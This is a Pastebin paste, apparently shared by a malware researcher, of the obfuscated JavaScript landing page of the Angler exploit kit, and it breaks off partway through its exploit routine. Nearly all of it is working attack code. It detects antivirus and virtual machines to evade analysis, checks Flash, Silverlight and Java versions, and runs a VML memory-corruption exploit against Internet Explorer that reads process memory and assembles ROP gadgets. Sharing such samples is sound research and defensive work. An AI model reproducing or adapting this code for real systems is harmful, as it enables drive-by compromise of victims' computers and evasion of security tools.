Advertisement
Kafeine

AnglerEK_Landing_2014-10-21

Oct 21st, 2014
1,479
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.   function Target() {
  2.       window['etAvTWiF'] = true;
  3.       wSPZolmt = '';
  4.       window.sf325gtgs7sfdj = window.sf325gtgs7sfds = window.sf325gtgs7sfdf1 = window.sf325gtgs7sfdf2 = false;
  5.   }
  6.  
  7.   function gs7sfd(txt) {
  8.       var v1 = 'XM' + 'LD' + 'OM',
  9.           v2 = 'pa' + 'rseE' + 'rr' + 'or',
  10.           v3 = 'loa' + 'dX' + 'ML',
  11.           v4 = 'DT' + 'D X' + 'HTML 1.0 Transitional',
  12.           v5 = 'err' + 'orC' + 'ode';
  13.       var resInf = new ActiveXObject("Microsoft." + v1),
  14.           subpath = "c:\\Windows\\System32\\drivers\\" + txt + ".sys";
  15.       resInf.async = true;
  16.       resInf[v3]('<!DOCTYPE html PUBLIC "-//W3C//' + v4 + '//EN" "res://' + subpath + '">');
  17.       if (resInf[v2][v5] != 0) {
  18.           var pe = resInf[v2],
  19.               err = "Error Code: " + pe[v5] + "\n";
  20.           err += "Error Reason: " + pe.reason;
  21.           err += "Error Line: " + pe.line;
  22.           if (err.indexOf("-2147023083") > 0) {
  23.               return 1;
  24.           } else {
  25.               return 0;
  26.           }
  27.       }
  28.       return 0;
  29.   }
  30.   var tmp;
  31.   try {
  32.       tmp = new ActiveXObject('Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.1');
  33.   } catch (e) {
  34.       tmp = false;
  35.   }
  36.   if (tmp || gs7sfd("kl1") || gs7sfd("tmactmon") || gs7sfd("tmcomm") || gs7sfd("tmevtmgr") || gs7sfd("TMEBC32") || gs7sfd("tmeext") || gs7sfd("tmnciesc") || gs7sfd("tmtdi") || gs7sfd("vm3dmp") || gs7sfd("vmusbmouse") || gs7sfd("vmmouse") || gs7sfd("vmhgfs") || gs7sfd("VBoxGuest") || gs7sfd("VBoxMouse") || gs7sfd("VBoxSF") || gs7sfd("VBoxVideo") || gs7sfd("prl_boot") || gs7sfd("prl_fs") || gs7sfd("prl_kmdd") || gs7sfd("prl_memdev") || gs7sfd("prl_mouf") || gs7sfd("prl_pv32") || gs7sfd("prl_sound") || gs7sfd("prl_strg") || gs7sfd("prl_tg") || gs7sfd("prl_time")) {
  37.       Target();
  38.   } else {
  39.       function Check(s) {
  40.           x = new Image();
  41.           x.onload = Target;
  42.           x.src = s;
  43.           return 0;
  44.       }
  45.       var kv1 = "res://C:\\Program Files",
  46.           kv2 = "\\Kaspersky Lab\\Kaspersky ",
  47.           kv3 = "Anti-Virus ",
  48.           kv4 = "Internet Security ",
  49.           kv5 = "\\shellex.dll/#2/#102",
  50.           kv6 = "\\mfc42.dll/#2/#26567",
  51.           pathdata = [kv1 + kv2 + kv3 + '5.0 for Windows Workstations' + kv5, kv1 + kv2 + kv3 + '6.0 for Windows Workstations' + kv5, kv1 + kv2 + kv3 + '6.0' + kv5, kv1 + kv2 + kv3 + '7.0' + kv5, kv1 + kv2 + kv3 + '2009' + kv6, kv1 + kv2 + kv3 + '2010' + kv6, kv1 + kv2 + kv3 + '2011\\avzkrnl.dll/#2/BBALL', kv1 + kv2 + kv3 + '2012\\x86' + kv6, kv1 + kv2 + kv3 + '2013\\x86' + kv6, kv1 + kv2 + kv4 + '6.0' + kv5, kv1 + kv2 + kv4 + '7.0' + kv5, kv1 + kv2 + kv4 + '2009' + kv6, kv1 + kv2 + kv4 + '2010' + kv6, kv1 + kv2 + kv4 + '2011\\avzkrnl.dll/#2/BBALL', kv1 + kv2 + kv4 + '2012\\x86' + kv6, kv1 + kv2 + kv4 + '2013\\x86' + kv6, kv1 + kv2 + kv4 + '14.0.0\\x86' + kv6, kv1 + kv2 + kv4 + '15.0.0\\x86' + kv6, kv1 + kv2 + 'PURE' + kv6, kv1 + kv2 + 'PURE 2.0\\x86' + kv6, kv1 + kv2 + 'PURE 3.0\\x86' + kv6, kv1 + ' (x86)' + kv2 + kv3 + '2013\\x86' + kv6, kv1 + ' (x86)' + kv2 + kv4 + '2013\\x86' + kv6, kv1 + ' (x86)' + kv2 + 'PURE' + kv6, kv1 + ' (x86)' + kv2 + 'PURE 2.0\\x86' + kv6, kv1 + ' (x86)' + kv2 + 'PURE 3.0\\x86' + kv6, 'res://C:\\Program Files\\VMware\\VMware Tools\\TPAutoConnSvc.exe/#2/#26567', 'res://C:\\Program Files\\VMware\\VMware Tools\\TPAutoConnSvc.exe/#2/#30996', 'res://C:\\Program Files\\Oracle\\VirtualBox Guest Additions\\uninst.exe/#2/#110', 'res://C:\\Program Files\\Parallels\\Parallels Tools\\Applications\\setup_nativelook.exe/#2/#204'];
  52.       for (var i = 0; i < pathdata.length; ++i) Check(pathdata[i]);
  53.  
  54.       function pausecomp(millis) {
  55.           var date = new Date();
  56.           var curDate = null;
  57.           do {
  58.               curDate = new Date();
  59.           } while (curDate - date < millis);
  60.       }
  61.       pausecomp(1000);
  62.   }
  63.   if (!Array.prototype.indexOf) {
  64.       Array.prototype.indexOf = function(obj, start) {
  65.           for (var i = (start || 0), j = this.length; i < j; i++) {
  66.               if (this[i] === obj) {
  67.                   return i;
  68.               }
  69.           }
  70.           return -1;
  71.       };
  72.   }
  73.   window.LtDSPf = new Function('text', "var cryptKey = tCazpqGh[0], rawArray = cryptKey.split(''), sortArray = cryptKey.split(''), keyArray=[];sortArray.sort(); var keySize = sortArray.length;for (var i=0; i<keySize; i++) {keyArray.push(rawArray.indexOf(sortArray[i]));}var k = keySize - text.length % keySize;for(var l = 0; l<k;l++) {text += ' ';} var endStr = '', i,j,line,newLine;for (i = 0; i < text.length; i += keySize) {line = text.substr(i,keySize).split('');newLine = '';for (j = 0; j < keySize; j++){newLine += line[keyArray[j]];}endStr = endStr + newLine;}endStr=endStr.replace(/\\s/g,'');return endStr;");
  74.   var xObjectName = 'ActiveXObject';
  75.   var xObject = window[xObjectName];
  76.   var AgControl = 'AgControl.AgControl';
  77.  
  78.   function silverVersion(value) {
  79.       var nav = navigator.plugins["Silverlight Plug-In"];
  80.       if (nav) {
  81.           return testVersion(nav.description);
  82.       } else {
  83.           try {
  84.               var control = new ActiveXObject('AgControl.AgControl');
  85.               var vers = Array(1, 0, 0, 0);
  86.               loopVersion(control, vers, 0, 1);
  87.               loopVersion(control, vers, 1, 1);
  88.               loopVersion(control, vers, 2, 10000);
  89.               loopVersion(control, vers, 2, 1000);
  90.               loopVersion(control, vers, 2, 100);
  91.               loopVersion(control, vers, 2, 10);
  92.               loopVersion(control, vers, 2, 1);
  93.               loopVersion(control, vers, 3, 1);
  94.               return testVersion(vers.join('.'));
  95.           } catch (e) {
  96.               return testVersion(false);
  97.           }
  98.       }
  99.  
  100.       function testVersion(currentVersion) {
  101.           if (!currentVersion) return currentVersion;
  102.           if (parseInt(String(currentVersion).replace(/\./g, '')) > parseInt(String(value).replace(/\./g, ''))) return 1;
  103.           if (parseInt(String(currentVersion).replace(/\./g, '')) == parseInt(String(value).replace(/\./g, ''))) return 0;
  104.           if (parseInt(String(currentVersion).replace(/\./g, '')) < parseInt(String(value).replace(/\./g, ''))) return -1;
  105.       }
  106.  
  107.       function loopVersion(control, vers, idx, inc) {
  108.           while (IsSupported(control, vers)) {
  109.               vers[idx] += inc;
  110.           }
  111.           vers[idx] -= inc;
  112.       }
  113.  
  114.       function IsSupported(control, ver) {
  115.           return control.isVersionSupported(ver[0] + "." + ver[1] + "." + ver[2] + "." + ver[3]);
  116.       }
  117.   }
  118.  
  119.   function testFLAversion(versionValue) {
  120.       var a = !1,
  121.           res, ver = bSamp(versionValue);
  122.  
  123.       function bSamp(num) {
  124.           function beautify(match, number) {
  125.               var res = "000" + match;
  126.               return (res).substr(res.length - 3)
  127.           }
  128.           var n = num.split(".");
  129.           result = n[0] + n[1].replace(/\d+/g, beautify) + n[2].replace(/\d+/g, beautify);
  130.           return n.length > 3 ? result + n[3].replace(/\d+/g, beautify) : result;
  131.       }
  132.  
  133.       function version(b) {
  134.           if (!b) {
  135.               return null
  136.           };
  137.           b = bSamp(String(b).replace(/^[^0-9]+/g, '').replace(/[^0-9\.]/g, '.').replace(/\.+/g, '.').replace(/\,/g, '.'));
  138.           if (!b) {
  139.               return null
  140.           };
  141.           var verTest = parseInt(ver.substr(0, b.length));
  142.           if (parseInt(b) > verTest) {
  143.               return 1;
  144.           }
  145.           if (parseInt(b) == verTest) {
  146.               return 0;
  147.           }
  148.           return -1;
  149.       }
  150.  
  151.       function createFlash() {
  152.           var obj = document.createElement("object"),
  153.               newDiv = document.createElement("div"),
  154.               id = String("flash" + new Date()).replace(/\s|\+|\:/g, '');
  155.           newDiv.style.cssText = 'position:absolute;top:-1000px;left:-1000px;';
  156.           obj.setAttribute("type", "application/x-shockwave-flash");
  157.           obj.style.cssText = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;display:inline;width:1px;height:1px";
  158.           obj.setAttribute("width", "1");
  159.           obj.setAttribute("id", id);
  160.           obj.setAttribute("height", "1");
  161.           obj.id = id;
  162.           newDiv.appendChild(obj);
  163.           document.body.appendChild(newDiv);
  164.           result = String(obj.GetVariable("$version"));
  165.           return result;
  166.       }
  167.       if (navigator.plugins && navigator.plugins.length) {
  168.           var e = navigator.plugins["Shockwave Flash"];
  169.           e && (a = !0, e.description && (b = e.description));
  170.           navigator.plugins["Shockwave Flash 2.0"] && (a = !0, b = "2.0.0.11");
  171.           res = version(b);
  172.           if (res > 0 || res < 0) return res;
  173.           try {
  174.               return version(createFlash());
  175.           } catch (e) {
  176.               return;
  177.           }
  178.       } else {
  179.           if (navigator.mimeTypes && navigator.mimeTypes.length) {
  180.               var f = navigator.mimeTypes["application/x-shockwave-flash"];
  181.               (a = f && f.enabledPlugin) && (b = f.enabledPlugin.description);
  182.               res = version(b);
  183.               if (res > 0 || res < 0) return res;
  184.               try {
  185.                   return version(createFlash());
  186.               } catch (e) {
  187.                   return;
  188.               }
  189.           } else {
  190.               try {
  191.                   var g = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7"),
  192.                       a = !0,
  193.                       b = g.GetVariable("$version");
  194.                   return version(b);
  195.               } catch (h) {
  196.                   try {
  197.                       g = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6"), a = !0, b = "6.0.21";
  198.                       return;
  199.                   } catch (i) {
  200.                       try {
  201.                           g = new ActiveXObject("ShockwaveFlash.ShockwaveFlash"), a = !0, b = g.GetVariable("$version");
  202.                           return version(b);
  203.                       } catch (j) {}
  204.                   }
  205.               }
  206.           }
  207.       }
  208.       return;
  209.   }
  210.   if (testFLAversion("11.3.300.257") >= 0 && (navigator.userAgent.indexOf('MSIE') > -1 || navigator.userAgent.indexOf('Trident') > -1 || navigator.userAgent.indexOf('Firefox') > -1)) {
  211.       window.sf325gtgs7sfdf1 = true;
  212.   } else {
  213.       var minValue = silverVersion("4.0.50401.0"),
  214.           maxValue = silverVersion("5.1.10411.0"),
  215.           currentValue = silverVersion("5.0.60818.0");
  216.       if (typeof(minValue) != 'undefined' && typeof(maxValue) != 'undefined' && typeof(currentValue) != 'undefined' && minValue >= 0 && maxValue <= 0 && currentValue != 0) {
  217.           window.sf325gtgs7sfds = true;
  218.       }
  219.   }
  220.   if (navigator.javaEnabled()) {
  221.       window.sf325gtgs7sfdj = true;
  222.   }
  223.   var Browser = {
  224.       Version: function() {
  225.           try {
  226.               var birks = /malware.dontneedcoffee.com/.test();
  227.           } catch (e) {}
  228.           var version = 999;
  229.           if (navigator.appVersion.indexOf("MSIE") != -1) version = parseFloat(navigator.appVersion.split("MSIE")[1]);
  230.           return version;
  231.       }
  232.   };
  233.   if (!window.sf325gtgs7sfdj && !window.sf325gtgs7sfds && !window.sf325gtgs7sfdf1 && !window.sf325gtgs7sfdf2 && (Browser.Version() > 10)) {
  234.       var urlName = LtDSPf(tCazpqGh[1]);
  235.       document.location.href = "/" + urlName;
  236.   }
  237.  
  238.   function gs7sfd(txt) {
  239.       var v1 = 'XM' + 'LD' + 'OM',
  240.           v2 = 'pa' + 'rseE' + 'rr' + 'or',
  241.           v3 = 'loa' + 'dX' + 'ML',
  242.           v4 = 'DT' + 'D X' + 'HTML 1.0 Transitional',
  243.           v5 = 'err' + 'orC' + 'ode';
  244.       var resInf = new ActiveXObject("Microsoft." + v1),
  245.           subpath = "c:\\Windows\\System32\\drivers\\" + txt + ".sys";
  246.       resInf.async = true;
  247.       resInf[v3]('<!DOCTYPE html PUBLIC "-//W3C//' + v4 + '//EN" "res://' + subpath + '">');
  248.       if (resInf[v2][v5] != 0) {
  249.           var pe = resInf[v2],
  250.               err = "Error Code: " + pe[v5] + "\n";
  251.           err += "Error Reason: " + pe.reason;
  252.           err += "Error Line: " + pe.line;
  253.           if (err.indexOf("-2147023083") > 0) {
  254.               return 1;
  255.           } else {
  256.               return 0;
  257.           }
  258.       }
  259.       return 0;
  260.   }
  261.   var stopFlag;
  262.   if (gs7sfd("SYMEVENT")) {
  263.       stopFlag = true;
  264.   } else {
  265.       try {
  266.           var stopFlag = new ActiveXObject("Symantec.IPS.WebProtection.1");
  267.       } catch (e) {
  268.           stopFlag = false;
  269.       }
  270.       if (!stopFlag) {
  271.           function Target() {
  272.               stopFlag = true;
  273.           }
  274.  
  275.           function Check(s) {
  276.               x = new Image();
  277.               x.onload = Target;
  278.               x.src = s;
  279.               return 0;
  280.           }
  281.           pathdata = ["res://C:\\Program Files\\Norton Internet Security\\Engine\\21.1.0.18\\asOEHook.dll/#2/#102", "res://C:\\Program Files\\Norton Internet Security\\Engine\\21.6.0.32\\asOEHook.dll/#2/#102"];
  282.           for (var i = 0; i < pathdata.length; ++i) Check(pathdata[i]);
  283.  
  284.           function pauseIt(millis) {
  285.               var date = new Date();
  286.               var curDate = null;
  287.               do {
  288.                   curDate = new Date();
  289.               } while (curDate - date < millis);
  290.           }
  291.           pauseIt(1000);
  292.       }
  293.   }
  294.   if (!stopFlag) {
  295.       var KjvJz79wOcknIk, EwQt49wsx, W71hiUP54i, ZgiZVuiZdA3uFMl1, YB97F2CK, SkObR323tjcP8j, LbxUppE3l4a32j1, F5ZuzHKSq4, R3u39RNOiqw1Lh9, UHncRxfu0, J898C7otcqj1z1a = [];
  296.  
  297.       function O8AFxXJ3K76qjGe(line) {
  298.           var result = "",
  299.               array = line.match(/(..)/g);
  300.           for (var i = 0; i < array.length; i++) {
  301.               result += String[F5FoaGw26](parseInt(array[i], 32) / 2);
  302.           }
  303.           var SnkDxt = navigator.userAgent.toLowerCase();
  304.           var k = /trident[\/\s]\d+/i.test(SnkDxt) || /msie[\/\s]\d+/i.test(SnkDxt);
  305.           return !k ? line : result;
  306.       };
  307.       var Sy8xIcKqy6o = 'push',
  308.           ds = "#",
  309.           ZNiyt1 = 'Code',
  310.           ZNiyt2 = 'mChar',
  311.           sh = 'sh' + 'r' + 'ape',
  312.           F5FoaGw26 = 'fro' + ZNiyt2 + ZNiyt1;
  313.       sh = sh.replace('r', ''), W71hiUP54i = 'cssText', Z4ywiwk9hGk6X = O8AFxXJ3K76qjGe('6u7c626o'), X9stbNNzs4 = O8AFxXJ3K76qjGe('7678746u6m6a'), EwQt49wsx = O8AFxXJ3K76qjGe('66746a62786a56787i6o6a566g6a6a78'), KjvJz79wOcknIk = "GetUrl123", d2 = '4q4o', d4 = '666a76', d3 = '6a767062';
  314.       YB97F2CK = 'nam' + O8AFxXJ3K76qjGe(d3) + O8AFxXJ3K76qjGe(d4), SkObR323tjcP8j = 'V3m2xe3zOi', W3701HBo = ['ml', O8AFxXJ3K76qjGe('6u6c782q666u6q3k7c'), 'cros', O8AFxXJ3K76qjGe('6g6a6q62762q6q6i'), O8AFxXJ3K76qjGe('6s3k7666'), 'ur'], LbxUppE3l4a32j1 = W3701HBo.reverse().join(''), Z6LmVz90ipjw93P = 'behavior:url', R3u39RNOiqw1Lh9 = ds + O8AFxXJ3K76qjGe('686a6c627a6o78') + ds + 'V' + O8AFxXJ3K76qjGe(d2), UHncRxfu0 = 'V3m2xe3zOi' + '' + O8AFxXJ3K76qjGe('3k2k207m20646a6g627c6i6u743k7a746o2g') + ds + O8AFxXJ3K76qjGe('686a6c627a6o78') + ds + 'V' + O8AFxXJ3K76qjGe('4q4o2i3m20686i76706o627i3k206i6s6o6i6s6a2q646o6u666m3m207q'), F5ZuzHKSq4 = 'V3m2xe3zOi:' + sh, J898C7otcqj1z1a = ['LbxUppE3l4a32j1', LbxUppE3l4a32j1, R3u39RNOiqw1Lh9], J898C7otcqj1z1a[Sy8xIcKqy6o](R3u39RNOiqw1Lh9);
  315.       ZgiZVuiZdA3uFMl1 = document[YB97F2CK];
  316.       try {
  317.           wondow.docume() = LbxUppE3l4a32j1;
  318.       } catch (e) {
  319.           try {
  320.               ZgiZVuiZdA3uFMl1.add(SkObR323tjcP8j, J898C7otcqj1z1a[1], J898C7otcqj1z1a[3]);
  321.           } catch (e) {}
  322.       }
  323.       document[EwQt49wsx]()[W71hiUP54i] = UHncRxfu0;
  324.       window[KjvJz79wOcknIk] = function() {
  325.           return LtDSPf(tCazpqGh[2])
  326.       };
  327.       var v1 = "<V3m2xe3zOi:" + Z4ywiwk9hGk6X + "><V3m2xe3zOi:" + X9stbNNzs4 + " id='CpRhJqPpKxESasM'></V3m2xe3zOi:" + X9stbNNzs4 + "></V3m2xe3zOi:" + Z4ywiwk9hGk6X + ">";
  328.       var v2 = "<V3m2xe3zOi:" + Z4ywiwk9hGk6X + "><V3m2xe3zOi:" + X9stbNNzs4 + " id='OY9eP8SuqI'></V3m2xe3zOi:" + X9stbNNzs4 + "></V3m2xe3zOi:" + Z4ywiwk9hGk6X + ">";
  329.       document.body.insertAdjacentHTML('afterbegin', v1);
  330.       document.body.insertAdjacentHTML('afterbegin', v2);
  331.       KDU865ifr4S = [];
  332.       EtU7otC6G9FSoRUZ = [];
  333.       PeaB2kUh = [];
  334.       var MOqp7tD2T3n = [],
  335.           BymAkyw58u3Jn2PF = null,
  336.           OX1xmlu97 = null,
  337.           IMaTmxxzc36V = null,
  338.           Xl9CaSo0 = null,
  339.           ZeMjENCmd6hkz3K = null,
  340.           Xr8Am6o75g = null,
  341.           Kieeuz4o = null,
  342.           D2mlbzC5 = null,
  343.           FsrY3ye0ghx = null,
  344.           T1b76Fhwicxxk1gy = O8AFxXJ3K76qjGe('686276') + 'hs' + 'tyle',
  345.           Fyp6g9dW3i05 = O8AFxXJ3K76qjGe('666g6274466u686a4278'),
  346.           W63qI9rMjPsxRDL = 'fromCharCode',
  347.           BHjf8n2iA4ww32 = O8AFxXJ3K76qjGe('746u7862786i6u6s'),
  348.           PLtqUAmnm8Fwp = O8AFxXJ3K76qjGe('706274766a4i6s78'),
  349.           Ewmrn97LKlE0so8 = document,
  350.           T1afqxgKWn2ys0i1 = O8AFxXJ3K76qjGe('6e6a784a6o6a6q6a6s78447i4i68'),
  351.           V2lQk5H09F4d = O8AFxXJ3K76qjGe('7a6s6a766662706a'),
  352.           BVpHfqTN = 'body',
  353.           Zof0a9vxpaH9meO7 = O8AFxXJ3K76qjGe('6270706a6s68466g6i6o68'),
  354.           OAqMbEfXPluegi = O8AFxXJ3K76qjGe('66746a62786a4a6o6a6q6a6s78'),
  355.           Mfq30y0aA7r5xo = '_' + 'vgR' + 'unti' + 'meS' + 'tyle',
  356.           Ibw95c3ku6 = String,
  357.           OCMx1fzSoboWleeu = '',
  358.           L3lP8xjN2zbaU = '',
  359.           H6TKi1mnySp1X3 = '',
  360.           ZIr5VU69Nd4o4 = '',
  361.           YLyIzVBMySSP = '',
  362.           ZlDwd7p7yf2di = 'array',
  363.           YSwqcqF2p2F9 = null,
  364.           V2ER1HgJ0ucnh9LP = null,
  365.           NegMwvrF = null,
  366.           El2V14q6Xub66U = null,
  367.           AvUGy4Jovj = null,
  368.           Jvkwu13ly1 = null,
  369.           RJ1N6903yv = null;
  370.       GmJTzuE37u4Y = 0;
  371.       KfzedQ6HdvNia = false;
  372.  
  373.       function Uvjcsmq41H9d(HH1eaPTlF8Md6t) {
  374.           return parseInt(HH1eaPTlF8Md6t)
  375.       }
  376.  
  377.       function AP1Uz7jluL5(HH1eaPTlF8Md6t) {
  378.           return window[V2lQk5H09F4d](HH1eaPTlF8Md6t)
  379.       }
  380.  
  381.       function CsAmk0dmtdPuOC60(HH1eaPTlF8Md6t) {
  382.           return Ibw95c3ku6[W63qI9rMjPsxRDL](HH1eaPTlF8Md6t)
  383.       }
  384.  
  385.       function OLrKvJ519(Gnv, UNsjr, ZJF) {
  386.           if (Gnv.length < UNsjr.length) {
  387.               return -1
  388.           }
  389.           if (ZJF) {
  390.               if (Gnv.substr(Gnv[Fyp6g9dW3i05](0) == 0 ? 1 : 0, UNsjr.length) == UNsjr) {
  391.                   return 0
  392.               }
  393.           } else {
  394.               var B6g8 = Gnv.length - UNsjr.length;
  395.               if (Gnv[Fyp6g9dW3i05](Gnv.length - 1) == 0) {
  396.                   B6g8++
  397.               }
  398.               if (Gnv.substr(B6g8, UNsjr.length) == UNsjr) {
  399.                   return B6g8
  400.               }
  401.           }
  402.           return -1
  403.       }
  404.  
  405.       function Edw75mqk() {
  406.           try {
  407.               var Mcs = navigator.userAgent.toLowerCase();
  408.               var ORZIr = /MSIE[\/\s]\d+/i.test(Mcs);
  409.               var FGOmO = /WOW64;/i.test(Mcs);
  410.               var YcL6 = /Win64;/i.test(Mcs);
  411.               var WO9 = /Trident\/(\d)/i.test(Mcs) ? parseInt(RegExp.$1) : null;
  412.               if (!YcL6 && ORZIr) {
  413.                   GmJTzuE37u4Y = WO9;
  414.                   KfzedQ6HdvNia = FGOmO;
  415.                   return true
  416.               }
  417.           } catch (e) {}
  418.           return false
  419.       }
  420.  
  421.       function WeH4Xlw3(ZUMbw) {
  422.           var D3nglz = '';
  423.           for (var UE59i = 0; UE59i < ZUMbw.length; UE59i++) {
  424.               var DY6aLG = ZUMbw[Fyp6g9dW3i05](UE59i);
  425.               D3nglz += Ibw95c3ku6[W63qI9rMjPsxRDL](DY6aLG & 0xff);
  426.               D3nglz += Ibw95c3ku6[W63qI9rMjPsxRDL]((DY6aLG & 0xff00) >> 8)
  427.           }
  428.           return D3nglz
  429.       }
  430.  
  431.       function Rdtyyrc4(GLqa2) {
  432.           var A0trA6 = '';
  433.           if (GLqa2.length % 2) {
  434.               GLqa2 += AP1Uz7jluL5('%00')
  435.           }
  436.           for (var KOCEUe = 0; KOCEUe < GLqa2.length; KOCEUe += 2) {
  437.               A0trA6 += '%u';
  438.               A0trA6 += If2zqk7iLg(GLqa2[Fyp6g9dW3i05](KOCEUe + 1), 2);
  439.               A0trA6 += If2zqk7iLg(GLqa2[Fyp6g9dW3i05](KOCEUe), 2)
  440.           }
  441.           return A0trA6
  442.       }
  443.  
  444.       function DjnkYHmeZkaPOCs3(ExmjV5) {
  445.           return WeH4Xlw3(AP1Uz7jluL5(L0ZwspPk6YLU9oxi(ExmjV5)))
  446.       }
  447.  
  448.       function L0ZwspPk6YLU9oxi(X3xa) {
  449.           var ScPc = X3xa & 0xFFFF;
  450.           var W23H8W = (X3xa >> 16) & 0xFFFF;
  451.           return '%u' + If2zqk7iLg(ScPc, 4) + '%u' + If2zqk7iLg(W23H8W, 4)
  452.       }
  453.  
  454.       function I49vaw94Gq013(HxAx9) {
  455.           Co25UX2t3GtQLt[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].item(0x44) = HxAx9;
  456.           return EtU7otC6G9FSoRUZ[Xl9CaSo0].marginLeft
  457.       }
  458.  
  459.       function If2zqk7iLg(DTgKyo, EN8r) {
  460.           var Den0ge = DTgKyo.toString(16);
  461.           while (Den0ge.length < EN8r) {
  462.               Den0ge = '0' + Den0ge
  463.           }
  464.           return Den0ge
  465.       }
  466.  
  467.       function GyndIia0COc9e670(PiG2e) {
  468.           var Ht1tU = '';
  469.           if (PiG2e.length > 1) {
  470.               Ht1tU = If2zqk7iLg(PiG2e[Fyp6g9dW3i05](1), 4) + If2zqk7iLg(PiG2e[Fyp6g9dW3i05](0), 4)
  471.           } else {
  472.               Ht1tU = If2zqk7iLg(PiG2e[Fyp6g9dW3i05](0), 4)
  473.           }
  474.           return parseInt(Ht1tU, 16)
  475.       }
  476.  
  477.       function YhLakn4qdA(Kve63) {
  478.           for (var Ylu = 0; Ylu < 3; Ylu++) {
  479.               var NcykIw = I49vaw94Gq013(Kve63 + Ylu);
  480.               if (NcykIw) {
  481.                   var Mnml = GyndIia0COc9e670(NcykIw);
  482.                   Mnml <<= Ylu * 8;
  483.                   return Mnml
  484.               }
  485.           }
  486.           return 0
  487.       }
  488.  
  489.       function BMn17Gy5Z7i() {
  490.           var W0MnO2 = YhLakn4qdA(0x7ffe0268) & 0x0f;
  491.           var Xh4fNW = W0MnO2 ? YhLakn4qdA(0x7ffe0264) : null;
  492.           var Csy = YhLakn4qdA(0x7ffe026c);
  493.           var SQ5 = YhLakn4qdA(0x7ffe0270);
  494.           if (Csy == 5 && (SQ5 == 1 || SQ5 == 2) && Xh4fNW == 1) {
  495.               return 1
  496.           } else if (Csy == 6 && SQ5 == 0 && Xh4fNW == 1) {
  497.               return 2
  498.           } else if (Csy == 6 && SQ5 == 1 && Xh4fNW == 1) {
  499.               return 3
  500.           } else {
  501.               return 0
  502.           }
  503.       }
  504.  
  505.       function Ragygq8pm() {
  506.           return KfzedQ6HdvNia ? YhLakn4qdA(0x7ffe0340) : YhLakn4qdA(0x7ffe0300);
  507.       }
  508.  
  509.       function V9rsl4L9kg(Mxeo3) {
  510.           var Sw8r = null;
  511.           if (Mxeo3) {
  512.               Mxeo3 &= 0xffff0000;
  513.               while (1) {
  514.                   if ((YhLakn4qdA(Mxeo3) & 0xffff) == 0x5a4d) {
  515.                       Sw8r = Mxeo3;
  516.                       break
  517.                   }
  518.                   Mxeo3 -= 0x10000
  519.               }
  520.               if (Sw8r) {
  521.                   var VL5txU = Sw8r + YhLakn4qdA(Sw8r + 0x3c);
  522.                   if (YhLakn4qdA(VL5txU) == 0x4550) {
  523.                       var J2qlu = YhLakn4qdA(VL5txU + 0x1c);
  524.                       var VTqA = YhLakn4qdA(VL5txU + 0x2c);
  525.                       if (J2qlu && VTqA) {
  526.                           return {
  527.                               FI5op6aJ: Sw8r + VTqA,
  528.                               UAZ183qaMhVjxaDk: Sw8r + VTqA + J2qlu
  529.                           }
  530.                       }
  531.                   }
  532.               }
  533.           }
  534.           return null
  535.       }
  536.  
  537.       function GPLa6YPe7ix9lJj() {
  538.           for (var McdHw = 0; McdHw < 0x400; McdHw++) {
  539.               KDU865ifr4S[McdHw] = document.createElement('V3m2xe3zOi:shape');
  540.               document.body[Zof0a9vxpaH9meO7](KDU865ifr4S[McdHw])
  541.           }
  542.           Co25UX2t3GtQLt = Ewmrn97LKlE0so8[T1afqxgKWn2ys0i1]('CpRhJqPpKxESasM');
  543.           for (var McdHw = 0; McdHw < 0x400; McdHw++) {
  544.               EtU7otC6G9FSoRUZ[McdHw] = KDU865ifr4S[McdHw][Mfq30y0aA7r5xo];
  545.           }
  546.           for (var McdHw = 0; McdHw < 0x400; McdHw++) {
  547.               try {
  548.                   EtU7otC6G9FSoRUZ[McdHw][BHjf8n2iA4ww32];
  549.               } catch (e) {}
  550.               if (McdHw == 0x300) {
  551.                   Co25UX2t3GtQLt[T1b76Fhwicxxk1gy] = '1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44';
  552.               }
  553.           }
  554.           Xr8Am6o75g = Co25UX2t3GtQLt[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].length;
  555.           try {
  556.               Co25UX2t3GtQLt[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].length = 0 - 1
  557.           } catch (Gtgu) {
  558.               return false
  559.           }
  560.           Co25UX2t3GtQLt[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].length = 0x45;
  561.           for (var McdHw = 0; McdHw < 0x400; McdHw++) {
  562.               EtU7otC6G9FSoRUZ[McdHw].marginLeft = 'a';
  563.               var KH3Hb = Co25UX2t3GtQLt[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].item(0x44);
  564.               if (KH3Hb > 0) {
  565.                   ZeMjENCmd6hkz3K = KH3Hb;
  566.                   Xl9CaSo0 = McdHw;
  567.                   return true
  568.               }
  569.           }
  570.           return false
  571.       }
  572.  
  573.       function NybDPXI4I4() {
  574.           if (Co25UX2t3GtQLt) {
  575.               if (ZeMjENCmd6hkz3K) {
  576.                   Co25UX2t3GtQLt[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].item(0x44) = ZeMjENCmd6hkz3K
  577.               }
  578.               Co25UX2t3GtQLt[T1b76Fhwicxxk1gy][ZlDwd7p7yf2di].length = Xr8Am6o75g
  579.           }
  580.       }
  581.  
  582.       function MpjCkJerL0Y4ucz() {
  583.           var Uu7, VfD, AjJJiu;
  584.           if (!Edw75mqk()) {
  585.               return;
  586.           }
  587.           var T4q = BMn17Gy5Z7i();
  588.           if (T4q == 0) {
  589.               return
  590.           }
  591.           var WqoTq = Ragygq8pm();
  592.           if (!WqoTq) {
  593.               return
  594.           }
  595.           var G1cL0 = V9rsl4L9kg(WqoTq);
  596.           if (!G1cL0) {
  597.               return
  598.           }
  599.           var HYc2O = AP1Uz7jluL5('%94%c3');
  600.           var GLm = AP1Uz7jluL5('%5a%c3');
  601.           var TZxtP = AP1Uz7jluL5('%ff%06%c3');
  602.           var F5O00n = AP1Uz7jluL5('%ff%07%c3');
  603.           var Dlrw0 = AP1Uz7jluL5('%5e%c3');
  604.           var UU4r1 = AP1Uz7jluL5('%5f%c3');
